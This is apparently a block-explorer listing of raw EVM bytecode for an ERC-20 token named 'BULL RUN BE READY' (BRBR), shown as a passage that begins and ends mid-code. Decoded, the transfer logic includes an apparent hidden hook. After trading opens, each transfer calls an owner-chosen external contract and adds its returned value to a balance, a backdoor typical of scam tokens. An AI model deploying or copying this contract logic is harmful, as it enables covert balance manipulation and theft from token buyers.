ffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118799190612310565b60405180910390a35b61188d848484611eb1565b6118df82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611986611938828461205d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a2b848661205d90919063ffffffff16565b604051611a389190612310565b60405180910390a350505050565b6000838311158290611a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8591906121a3565b60405180910390fd5b5060008385611a9d9190612d76565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ae257611ae1612daa565b5b604051908082528060200260200182016040528015611b105781602001602082028036833780820191505090505b5090503081600081518110611b2857611b27612dd9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf39190612740565b81600181518110611c0757611c06612dd9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cd2959493929190612ec6565b600060405180830381600087803b158015611cec57600080fd5b505af1158015611d00573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d8b573d6000803e3d6000fd5b5050565b6000808303611da15760009050611e03565b60008284611daf91906126d1565b9050828482611dbe9190612f4f565b14611dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df590612ff2565b60405180910390fd5b809150505b92915050565b6000611e4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a7565b905092915050565b6000808284611e629190612c6c565b905083811015611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e9061305e565b60405180910390fd5b8091505092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315612058576000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ccebe4f08386866040518463ffffffff1660e01b8152600401611f7c9392919061307e565b6020604051808303816000875af1158015611f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbf91906130b5565b905061201381600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505050565b600061209f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a46565b905092915050565b600080831182906120ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e591906121a3565b60405180910390fd5b50600083856120fd9190612f4f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612144578082015181840152602081019050612129565b83811115612153576000848401525b50505050565b6000601f19601f8301169050919050565b60006121758261210a565b61217f8185612115565b935061218f818560208601612126565b61219881612159565b840191505092915050565b600060208201905081810360008301526121bd818461216a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121f5826121ca565b9050919050565b612205816121ea565b811461221057600080fd5b50565b600081359050612222816121fc565b92915050565b60006020828403121561223e5761223d6121c5565b5b600061224c84828501612213565b91505092915050565b6000819050919050565b61226881612255565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b600080604083850312156122a2576122a16121c5565b5b60006122b085828601612213565b92505060206122c185828601612276565b9150509250929050565b60008115159050919050565b6122e0816122cb565b82525050565b60006020820190506122fb60008301846122d7565b92915050565b61230a81612255565b82525050565b60006020820190506123256000830184612301565b92915050565b600080600060608486031215612344576123436121c5565b5b600061235286828701612213565b935050602061236386828701612213565b925050604061237486828701612276565b9150509250925092565b600060ff82169050919050565b6123948161237e565b82525050565b60006020820190506123af600083018461238b565b92915050565b6000602082840312156123cb576123ca6121c5565b5b60006123d984828501612276565b91505092915050565b6123eb816121ea565b82525050565b600060208201905061240660008301846123e2565b92915050565b60008060408385031215612423576124226121c5565b5b600061243185828601612213565b925050602061244285828601612213565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612482602083612115565b915061248d8261244c565b602082019050919050565b600060208201905081810360008301526124b181612475565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124ee601783612115565b91506124f9826124b8565b602082019050919050565b6000602082019050818103600083015261251d816124e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125aa5780860481111561258657612585612524565b5b60018516156125955780820291505b80810290506125a385612553565b945061256a565b94509492505050565b6000826125c3576001905061267f565b816125d1576000905061267f565b81600181146125e757600281146125f157612620565b600191505061267f565b60ff84111561260357612602612524565b5b8360020a91508482111561261a57612619612524565b5b5061267f565b5060208310610133831016604e8410600b84101617156126555782820a9050838111156126505761264f612524565b5b61267f565b6126628484846001612560565b9250905081840481111561267957612678612524565b5b81810290505b9392505050565b600061269182612255565b915061269c8361237e565b92506126c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125b3565b905092915050565b60006126dc82612255565b91506126e783612255565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127205761271f612524565b5b828202905092915050565b60008151905061273a816121fc565b92915050565b600060208284031215612756576127556121c5565b5b60006127648482850161272b565b91505092915050565b600060408201905061278260008301856123e2565b61278f60208301846123e2565b9392505050565b6000819050919050565b6000819050919050565b60006127c56127c06127bb84612796565b6127a0565b612255565b9050919050565b6127d5816127aa565b82525050565b600060c0820190506127f060008301896123e2565b6127fd6020830188612301565b61280a60408301876127cc565b61281760608301866127cc565b61282460808301856123e2565b61283160a0830184612301565b979650505050505050565b60008151905061284b8161225f565b92915050565b60008060006060848603121561286a576128696121c5565b5b60006128788682870161283c565b93505060206128898682870161283c565b925050604061289a8682870161283c565b9150509250925092565b60006040820190506128b960008301856123e2565b6128c66020830184612301565b9392505050565b6128d6816122cb565b81146128e157600080fd5b50565b6000815190506128f3816128cd565b92915050565b60006020828403121561290f5761290e6121c5565b5b600061291d848285016128e4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612982602483612115565b915061298d82612926565b604082019050919050565b600060208201905081810360008301526129b181612975565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a14602283612115565b9150612a1f826129b8565b604082019050919050565b60006020820190508181036000830152612a4381612a07565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612aa6602583612115565b9150612ab182612a4a565b604082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b38602383612115565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612bca602983612115565b9150612bd582612b6e565b604082019050919050565b60006020820190508181036000830152612bf981612bbd565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612c36601983612115565b9150612c4182612c00565b602082019050919050565b60006020820190508181036000830152612c6581612c29565b9050919050565b6000612c7782612255565b9150612c8283612255565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cb757612cb6612524565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612cf8601a83612115565b9150612d0382612cc2565b602082019050919050565b60006020820190508181036000830152612d2781612ceb565b9050919050565b6000612d3982612255565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d6b57612d6a612524565b5b600182019050919050565b6000612d8182612255565b9150612d8c83612255565b925082821015612d9f57612d9e612524565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612e3d816121ea565b82525050565b6000612e4f8383612e34565b60208301905092915050565b6000602082019050919050565b6000612e7382612e08565b612e7d8185612e13565b9350612e8883612e24565b8060005b83811015612eb9578151612ea08882612e43565b9750612eab83612e5b565b925050600181019050612e8c565b5085935050505092915050565b600060a082019050612edb6000830188612301565b612ee860208301876127cc565b8181036040830152612efa8186612e68565b9050612f0960608301856123e2565b612f166080830184612301565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f5a82612255565b9150612f6583612255565b925082612f7557612f74612f20565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fdc602183612115565b9150612fe782612f80565b604082019050919050565b6000602082019050818103600083015261300b81612fcf565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613048601b83612115565b915061305382613012565b602082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b60006060820190506130936000830186612301565b6130a060208301856123e2565b6130ad60408301846123e2565b949350505050565b6000602082840312156130cb576130ca6121c5565b5b60006130d98482850161283c565b9150509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a121215c606731f07e3b1a28c4943b9af39b366fdff3ad67ad3a531e44e0a07964736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461039657806395d89b41146103c1578063a9059cbb146103ec578063dd62ed3e14610429578063f4293890146104665761012a565b806370a08231146102d5578063715018a614610312578063751039fc146103295780637d1db4a5146103405780638da5cb5b1461036b5761012a565b8063313ce567116100e7578063313ce5671461022857806334376f3b14610253578063503dfc4d1461027e57806351bc3c8514610295578063704ff6b5146102ac5761012a565b806306fdde031461012f57806307980cb91461015a578063095ea7b31461018357806318160ddd146101c057806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461047d565b60405161015191906121a3565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612228565b6104ba565b005b34801561018f57600080fd5b506101aa60048036038101906101a5919061228b565b6109c5565b6040516101b791906122e6565b60405180910390f35b3480156101cc57600080fd5b506101d56109e3565b6040516101e29190612310565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d919061232b565b610a08565b60405161021f91906122e6565b60405180910390f35b34801561023457600080fd5b5061023d610ae1565b60405161024a919061239a565b60405180910390f35b34801561025f57600080fd5b50610268610aea565b6040516102759190612310565b60405180910390f35b34801561028a57600080fd5b50610293610af0565b005b3480156102a157600080fd5b506102aa610bda565b005b3480156102b857600080fd5b506102d360048036038101906102ce91906123b5565b610c4e565b005b3480156102e157600080fd5b506102fc60048036038101906102f79190612228565b610cc6565b6040516103099190612310565b60405180910390f35b34801561031e57600080fd5b50610327610d0f565b005b34801561033557600080fd5b5061033e610e62565b005b34801561034c57600080fd5b50610355610f95565b6040516103629190612310565b60405180910390f35b34801561037757600080fd5b50610380610f9b565b60405161038d91906123f1565b60405180910390f35b3480156103a257600080fd5b506103ab610fc4565b6040516103b89190612310565b60405180910390f35b3480156103cd57600080fd5b506103d6610fca565b6040516103e391906121a3565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e919061228b565b611007565b60405161042091906122e6565b60405180910390f35b34801561043557600080fd5b50610450600480360381019061044b919061240c565b611025565b60405161045d9190612310565b60405180910390f35b34801561047257600080fd5b5061047b6110ac565b005b60606040518060400160405280601181526020017f42554c4c2052554e204245205245414459000000000000000000000000000000815250905090565b6104c2611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054690612498565b60405180910390fd5b600e60149054906101000a900460ff161561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690612504565b60405180910390fd5b6105e930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105d49190612686565b64e8d4a510006105e491906126d1565b611120565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610656573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067a9190612740565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107279190612740565b6040518363ffffffff1660e01b815260040161074492919061276d565b6020604051808303816000875af1158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190612740565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061081030610cc6565b60008061081b610f9b565b426040518863ffffffff1660e01b815260040161083d969594939291906127db565b60606040518083038185885af115801561085b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108809190612851565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109229291906128a4565b6020604051808303816000875af1158015610941573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096591906128f9565b5080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60146101000a81548160ff02191690831515021790555050565b60006109d96109d2611118565b8484611120565b6001905092915050565b60006009600a6109f39190612686565b64e8d4a51000610a0391906126d1565b905090565b6000610a158484846112e9565b610ad684610a21611118565b610ad1856040518060600160405280602881526020016130e360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a87611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a469092919063ffffffff16565b611120565b600190509392505050565b60006009905090565b600c5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b31611118565b73ffffffffffffffffffffffffffffffffffffffff1614610b5157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b7730610cc6565b6040518363ffffffff1660e01b8152600401610b949291906128a4565b6020604051808303816000875af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd791906128f9565b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1b611118565b73ffffffffffffffffffffffffffffffffffffffff1614610c3b57600080fd5b610c4c610c4730610cc6565b611aaa565b565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8f611118565b73ffffffffffffffffffffffffffffffffffffffff1614610caf57600080fd5b60068110610cbc57600080fd5b8060068190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d17611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b90612498565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e6a611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612498565b60405180910390fd5b6009600a610f059190612686565b64e8d4a51000610f1591906126d1565b600a819055506009600a610f299190612686565b64e8d4a51000610f3991906126d1565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610f6e9190612686565b64e8d4a51000610f7e91906126d1565b604051610f8b9190612310565b60405180910390a1565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600481526020017f4252425200000000000000000000000000000000000000000000000000000000815250905090565b600061101b611014611118565b84846112e9565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ed611118565b73ffffffffffffffffffffffffffffffffffffffff161461110d57600080fd5b61111647611d23565b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612998565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612a2a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112dc9190612310565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f90612abc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90612b4e565b60405180910390fd5b6000811161140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190612be0565b60405180910390fd5b6000611414610f9b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114825750611452610f9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561177e57600e60159054906101000a900460ff166114da576114d760646114c9600754600954116114b6576005546114ba565b6006545b85611d8f90919063ffffffff16565b611e0990919063ffffffff16565b90505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115855750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115db5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561169657600a54821115611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161c90612c4c565b60405180910390fd5b600b548261163285610cc6565b61163c9190612c6c565b111561167d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167490612d0e565b60405180910390fd5b6009600081548092919061169090612d2e565b91905055505b60006116a130610cc6565b9050600e60159054906101000a900460ff1615801561170e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60169054906101000a900460ff165b80156117335750600c5481115b80156117425750600854600954115b1561177c5761176283600c541161175b57600c5461175d565b835b611aaa565b6000479050600081111561177a5761177947611d23565b5b505b505b6000811115611882576117d981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118799190612310565b60405180910390a35b61188d848484611eb1565b6118df82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611986611938828461205d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a2b848661205d90919063ffffffff16565b604051611a389190612310565b60405180910390a350505050565b6000838311158290611a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8591906121a3565b60405180910390fd5b5060008385611a9d9190612d76565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ae257611ae1612daa565b5b604051908082528060200260200182016040528015611b105781602001602082028036833780820191505090505b5090503081600081518110611b2857611b27612dd9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf39190612740565b81600181518110611c0757611c06612dd9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cd2959493929190612ec6565b600060405180830381600087803b158015611cec57600080fd5b505af1158015611d00573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d8b573d6000803e3d6000fd5b5050565b6000808303611da15760009050611e03565b60008284611daf91906126d1565b9050828482611dbe9190612f4f565b14611dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df590612ff2565b60405180910390fd5b809150505b92915050565b6000611e4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a7565b905092915050565b6000808284611e629190612c6c565b905083811015611ea7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9e9061305e565b60405180910390fd5b8091505092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315612058576000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ccebe4f08386866040518463ffffffff1660e01b8152600401611f7c9392919061307e565b6020604051808303816000875af1158015611f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbf91906130b5565b905061201381600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505050565b600061209f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a46565b905092915050565b600080831182906120ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e591906121a3565b60405180910390fd5b50600083856120fd9190612f4f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612144578082015181840152602081019050612129565b83811115612153576000848401525b50505050565b6000601f19601f8301169050919050565b60006121758261210a565b61217f8185612115565b935061218f818560208601612126565b61219881612159565b840191505092915050565b600060208201905081810360008301526121bd818461216a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121f5826121ca565b9050919050565b612205816121ea565b811461221057600080fd5b50565b600081359050612222816121fc565b92915050565b60006020828403121561223e5761223d6121c5565b5b600061224c84828501612213565b91505092915050565b6000819050919050565b61226881612255565b811461227357600080fd5b50565b6000813590506122858161225f565b92915050565b600080604083850312156122a2576122a16121c5565b5b60006122b085828601612213565b92505060206122c185828601612276565b9150509250929050565b60008115159050919050565b6122e0816122cb565b82525050565b60006020820190506122fb60008301846122d7565b92915050565b61230a81612255565b82525050565b60006020820190506123256000830184612301565b92915050565b600080600060608486031215612344576123436121c5565b5b600061235286828701612213565b935050602061236386828701612213565b925050604061237486828701612276565b9150509250925092565b600060ff82169050919050565b6123948161237e565b82525050565b60006020820190506123af600083018461238b565b92915050565b6000602082840312156123cb576123ca6121c5565b5b60006123d984828501612276565b91505092915050565b6123eb816121ea565b82525050565b600060208201905061240660008301846123e2565b92915050565b60008060408385031215612423576124226121c5565b5b600061243185828601612213565b925050602061244285828601612213565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612482602083612115565b915061248d8261244c565b602082019050919050565b600060208201905081810360008301526124b181612475565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124ee601783612115565b91506124f9826124b8565b602082019050919050565b6000602082019050818103600083015261251d816124e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125aa5780860481111561258657612585612524565b5b60018516156125955780820291505b80810290506125a385612553565b945061256a565b94509492505050565b6000826125c3576001905061267f565b816125d1576000905061267f565b81600181146125e757600281146125f157612620565b600191505061267f565b60ff84111561260357612602612524565b5b8360020a91508482111561261a57612619612524565b5b5061267f565b5060208310610133831016604e8410600b84101617156126555782820a9050838111156126505761264f612524565b5b61267f565b6126628484846001612560565b9250905081840481111561267957612678612524565b5b81810290505b9392505050565b600061269182612255565b915061269c8361237e565b92506126c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125b3565b905092915050565b60006126dc82612255565b91506126e783612255565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127205761271f612524565b5b828202905092915050565b60008151905061273a816121fc565b92915050565b600060208284031215612756576127556121c5565b5b60006127648482850161272b565b91505092915050565b600060408201905061278260008301856123e2565b61278f60208301846123e2565b9392505050565b6000819050919050565b6000819050919050565b60006127c56127c06127bb84612796565b6127a0565b612255565b9050919050565b6127d5816127aa565b82525050565b600060c0820190506127f060008301896123e2565b6127fd6020830188612301565b61280a60408301876127cc565b61281760608301866127cc565b61282460808301856123e2565b61283160a0830184612301565b9